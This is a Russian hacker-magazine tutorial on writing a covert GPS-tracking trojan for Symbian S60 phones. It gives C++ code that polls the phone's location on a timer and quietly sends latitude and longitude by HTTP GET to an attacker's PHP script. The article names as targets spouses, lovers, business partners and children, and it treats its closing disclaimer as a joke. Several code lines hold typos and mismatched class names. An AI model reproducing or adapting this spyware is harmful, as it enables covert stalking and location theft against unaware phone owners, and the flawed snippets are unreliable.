Содержание статьи
В мартовском ][
мы подробно рассмотрели разновидности наиболее востребованных
троянов для мобильных
устройств под управлением операционной системы Symbian, а также процесс создания
одного из них. Функционал заключался в сливании бабла со счета пользователя.
Предлагаю продолжить раскрытие темы, познакомившись с процессом создания
зловредов нового поколения!
Что пишем?
В предыдущем материале я писал, что наиболее ходовые разновидности шпионского
ПО для мобильников – это перехватчики sms и программы, отправляющие Premium SMS
на короткие номера. Во всяком случае, подобное ПО пользуется устойчивым спросом
уже пару лет. Технологии не стоят на месте, и с развитием спутниковых систем и
всеобщего возбуждения на этой почве все больше и больше смартфонов оснащаются
GPS-приемниками. Было
бы странно, если бы создатели вредоносного ПО не воспользовались этой
возможностью (с целью создания продвинутых шпионов, в реальном времени сливающих
информацию о местонахождении конкретного пользователя мобильного телефона).
Сразу отмечу, что описываемый здесь функционал будет работать только на
устройствах под управлением S60 и оснащенных полноценными GPS-приемниками.
Методы определения
местоположения по базовым станциям и точкам Wi-Fi на данный момент не могут
быть использованы для определения более-менее точных координат, поэтому мы их не
рассматриваем. Но чем дальше, тем больше моделей оказываются оснащены
полноценным приемником. Поэтому потенциальный охват поддерживаемых аппаратов
внушает оптимизм троянописателям и пессимизм обычным пользователям. Итак, наша
задача - разработать программу, незаметно для жертвы отправляющую данные о ее
местоположении на сервер. Дальше данные обрабатываются и отображаются на карте
тем или иным образом, в зависимости от выбранного картографического сервиса.
Кстати, можно было бы реализовать банальную отправку координат (долготы и
широты) посредством SMS, но тогда пользователю трояна пришлось бы ручками
вводить их в картографическом сервисе, чтобы определить точку на карте. Это не
очень удобно.
Зачем это вообще нужно?
Прелесть подобного шпионского ПО в том, что потенциальная целевая аудитория
покрывает не только ревнивых мужей и недобросовестных деловых партнеров (как в
случае с sms-шпионами), но и, к примеру, заботливых мамаш, желающих убедиться,
что их дитя утром идет в школу, а не бухать "ягуар" в подъезд с пацанами.
Подобный софт может использоваться и в качестве трекера – например, хозяин
"Бентли" может выдать шоферу корпоративную мобилу и отслеживать маршрут
передвижения. Конечно, на рынке присутствуют трекинговые сервисы, но
используемые там приложения скрываться не обучены и потому заметны в системе.
Реализация программы
С точки зрения функционала приложения, очевидны три основные составляющие:
- Функционал сокрытия программы в системе;
- Функционал определения координат;
- Функционал отправки координат на сервер.
Первый пункт мы уже освещали, мягко говоря, неоднократно. Я рекомендую
ознакомиться со статьей "Зло-кодинг
под Symbian" в мартовском номере ][, – там этот процесс подробно и доступно
описан. А мы тем временем сосредоточимся на двух оставшихся компонентах.
Функционал определения координат
Собственно функционал определения координат предельно прост - важно
определиться лишь с логикой их получения и отправки. Для ясности изложения я
предполагаю, что ты уже знаком с основами программирования под Symbian, умеешь
использовать активные объекты и можешь создать, например, простейший таймер. Что
касается логики зловреда, опять же, для простоты, я предлагаю реализовать
функционал периодического определения текущих координат устройства и отправки их
на сервер.
Для реализации периодики опроса GPS-приемника используется обертка вокруг
стандартного симбиановского класса CTimer. По сути, это класс, унаследованный от
CTimer и содержащий в своем конструкторе все необходимые действия по
инициализации и настройке таймера. Также членом оберточного класса является
ссылка на объект обсервера (Observer), который ответственен за выполнение
действий по событию срабатывания таймера. Полный код класса CGpsTroyTimer
находится на нашем диске. Здесь мы его не будем приводить, поскольку он довольно
тривиален. Кстати, создание подобных оберточных классов над стандартными
системными – хорошая практика разработки как под symbian, так и под любую
объектно-ориентированную систему. Поскольку основная логика работы программы у
нас содержится в классе AppUi, то, тем самым, мы освобождаем его конструктор и
деструктор от кровавого месива кода, отвечающего за инициализацию и настройку
тайминга. Для обработки события тика таймера необходимо унаследовать AppUi от
класса MTimeOutNotifier (смотри заголовочный файл Timer.h). Так мы покажем, что
AppUi – это тот самый обсервер, который содержит метод, вызываемый при
срабатывании тика.
class CGpsTroyAppUi : public MTimeOutNotifier
{
…
public: // from MTimeOutNotifier
void TimerExpiredL(); //метод, вызываемый
при тике таймера
privae:
CGpsTroyTimer* iTimer; //собственно, объект таймера
…
}
Теперь в конструкторе CGpsTroyAppUi необходимо лишь создать таймер:
iTimer = CUniTelTimer::NewL(EPriorityStandard, *this);
iTimer->After(KTimeOut);
– и реализовать метод TimerExpired() примерно следующим образом:
void CGpsTroyAppUi::TimerExpiredL()
{
GetPosition();
iTimer->After(KTimeOut);
}
Здесь мы выполнили метод GetPosition(), отвечающий за определение координат
устройства, и заново запустили таймер, чтобы обеспечить периодичность
определения местоположения.
Перейдем к функционалу определения координат. Для этого нам понадобится
использовать объекты классов RPositionServer, RPositioner, TPositionInfo и
TPosition. Рассмотрим каждый из них чуть подробнее:
- RPositionServer – основной интерфейс к Location Server. В свою очередь,
Location Server - это такой процесс, который отвечает за обработку клиентских
обращений приложений к базовой функциональности GPS-приемника. RPositionServer
служит для установки соединения с Location Server и получения соответствующего
хэндла ресурса. - RPositioner – открывает субсессию к Location Server, которая уже
используется для получения координат. Кроме того, объект класса RPositioner
содержит информацию о последней полученной позиции, а также - о частоте опроса
GPS-приемника. - TPositionInfo – структура, содержащую полную информацию, полученную от
спутников. - TPosition –структура, содержащая информацию о координатах устройства
(долгота, широта, высота, скорость и т.д.) и скорости его передвижения.
Более детальное описание классов можно (и нужно) посмотреть в SDK. Если
обобщить, то код упомянутого метода GetPosition может выглядеть примерно так:
User::LeaveIfError(iPositionServer.Connect());
User::LeaveIfError(iPositioner.Open(iPositionServer));
User::LeaveIfError(iPositioner.SetRequestor
(CRequestor::ERequestorService,
CRequestor::EFormatApplication, KRequestor));
TPositionUpdateOptions updateOptions;
updateOptions.SetUpdateInterval(KUpdateInterval);
updateOptions.SetUpdateTimeOut(KUpdateTimeout);
User::LeaveIfError(iPositioner.SetUpdateOptions
(updateOptions));
Cancel();
iPositioner.NotifyPositionUpdate(iPositionInfo,iStatus);
SetActive();
Объяснять нечего – код смело можно отнести к самодокументированным. Обрати
внимание, что запрос на получение координат может выполняться довольно долго,
поэтому запускается на выполнение асинхронно. Это значит, что класс
CGpsTroyAppUi необходимо унаследовать от CActive и реализовать метод RunL().
Именно он будет выполняться при получении координат.
void CGpsTroyAppUi::RunL()
{
switch(iStatus.Int())
{
case KErrNone:
{
//координаты успешно получены
TPosition position;
iPositionInfo.GetPosition(position);
TInt latitude = position.Latitude();
//получаем широту
TInt longitude = position.Longitude();
//получаем долготу
SendCoordinateL(latitude,longitude);
//отправляем данные
}
break;
default:
//координаты не получены, пробуем снова
iPositioner.NotifyPositionUpdate(iPositionInfo,iStatus);
SetActive();
break;
}
}
Здесь в случае успешного завершения операции мы отправляем данные на сервер
посредством функции SendCoordinateL(int,int).
Функционал отправки координат на сервер
В каком виде отправлять данные на сервер? Это зависит от конкретной
реализации серверной части, агрегирующей данные от мобилы и отображающей их
пользователю/злоумышленнику. Поскольку самое очевидное решение – использовать
Google Maps API, учти, что на сервере нам необходимо реализовать веб-приложение,
которое через JavaScript взаимодействует с Google Maps, передает координаты
точки и отображает картинку с нарисованным флажком на карте. Интерфейса для
непосредственного доступа к Google Maps с мобилы нет, нужно реализовать некое
промежуточное звено, передающее координаты от мобилы к веб-приложению. Тут можно
дать волю фантазии и реализовать как сложную серверную часть (демон, слушающий
на определенном порту данные от смартфона), так и простенький скрипт на php,
обрабатывающий банальные post- или даже get-данные. Как непрофессионал в
веб-программировании, я бы выбрал вариант обычного обращения мобилы к удаленному
скрипту по ссылке вида
http://yourhost.ru/scripts/troy.php?longitude=xxx&latitude=yyy. А далее -
полученные координаты обрабатываем скриптами и делаем с ними, что хотим. Кстати,
аналогичный Google Maps сервис стали предоставлять Яндекс и даже Nokia, поэтому
определенная свобода выбора есть, и реализация серверной части – дело техники.
Не будем подробно касаться здесь аспектов ее разработки, ибо это тема, как
минимум, для отдельной статьи.
Сосредоточимся на механизме отправки данных на сервер посредством HTTP over
TCP. На диске к журналу находятся исходники класса CHTTPEngine, реализующего
функционал GET- и POST-запросов. Как и в случае с CTroyTimer, он содержит
переменную-член, являющуюся ссылкой на объект-обсервер событий, которым снова
стал CGpsTroyAppUi, наследуемый от MHTTPEngineObserver и получающий методы,
вызываемые при получении ответа от сервера и завершения запроса. Кстати,
CHTTPEngine – это готовый к использованию универсальный и хорошо
зарекомендовавший себя движок http!
CHTTPEngine наследуется от класса MHTTPTransactionCallback. Тот задает ему
свойства класса, относящегося к активным объектам, расширяя стандартную
функциональность CActive. Кроме того, механизм инициализации CHTTPEngine схож с
функционалом определения координат в плане того, что описывается тем же законом
клиент-серверного взаимодействия внутри ОС: сначала создается сессия к
Communication Server, потом ее хэндл используется для уже реального обращения к
comm server'у и выполнению необходимой работы.
С учетом описанной нами довольно общей концепции передачи данных на сервер
реальный механизм отправки координаты может выглядеть примерно так:
void CGpsTroyAppUi::SendCoordinateL
(Tint latitude,Tint longitude)
{
CHTTPEngine* httpEngine = CHHTPEngine::NewL(this);
TBuf<64> url(_L
(“http://host/troysctipt.php?longitude=”));
url.AppendNum(latitude); url.Append(_L(“&latitude=”));
url.AppendNum(longitude);
httpEngine->GetRequestL(url);
}
Все, данные отправлены.
Естественно, здесь мы не рассмотрели подробно механизм реализации движка, я
лишь показал общую концепцию. Поэтому, как и в любой задачи по разработке под
Symbian, тебе придется почитать документацию и посмотреть
пример с диска.
Заключение
Эта концепция создания GPS-трояна, без сомнения, оставляет
определенный творческий простор. Мы не стали специально рассматривать
архитектуру взаимодействия мобильного приложения и сервера, поскольку тут
возможна масса вариантов: конкретная реализация во многом зависит от целого ряда
факторов. Что касается реального применения, то автору приходилось встречать
случаи, когда подобный софт устанавливался как любовницам, так и деловым
партнерам. Но хотя определенная тенденция к распространению прослеживается, в
очередной раз напоминаем, что это может привести к довольно печальным
последствиям. Создание вредоносного ПО не только не пропагандируется нашей
статьей, но даже и не описывается! Сам подумай, что ж такого, - изучили
взаимодействие с GPS, координаты получать научились; как отправлять – с
некоторой натяжкой разобрались. А уж как все эти знания применить на практике –
тебе решать. Удачи!